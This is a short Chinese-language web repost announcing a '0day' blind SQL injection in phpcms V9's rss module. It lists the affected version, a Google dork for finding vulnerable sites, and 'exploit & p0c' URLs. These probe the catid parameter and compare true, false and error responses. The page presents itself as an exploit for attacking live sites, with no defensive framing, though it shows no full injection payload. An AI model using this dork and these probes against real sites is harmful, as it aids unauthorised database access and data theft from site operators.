phpcms V9 BLind SQL 注入漏洞0day

软件发布|下载排行|最新软件

当前位置:首页IT学院IT技术

phpcms V9 BLind SQL 注入漏洞0day

  2020-12-04 我要评论

  影响版本:phpcms v9 blind

  官方网站:http://www.phpcms.cn

  漏洞类型:SQL注入

  漏洞描述:phpcms v9 blind 参数过滤存在SQL注入漏洞。

  google dork:inurl:"index.php?m=content+c=rss+catid=10"

  exploit & p0c

  [!] index.php?m=content&c=rss&catid=[valid catid]

  Example p0c

  [!] http://host/index.php?m=content&c=rss&catid=10 <= True

  [!] http://host/index.php?m=content&c=rss&catid=-10 <= False

  [+] http://host/index.php?m=content&c=rss&catid=5 <= show MySQL Error (table)

 

Copyright 2022 版权所有 软件发布 访问手机版

声明:所有软件和文章来自软件开发商或者作者 如有异议 请与本站联系 联系我们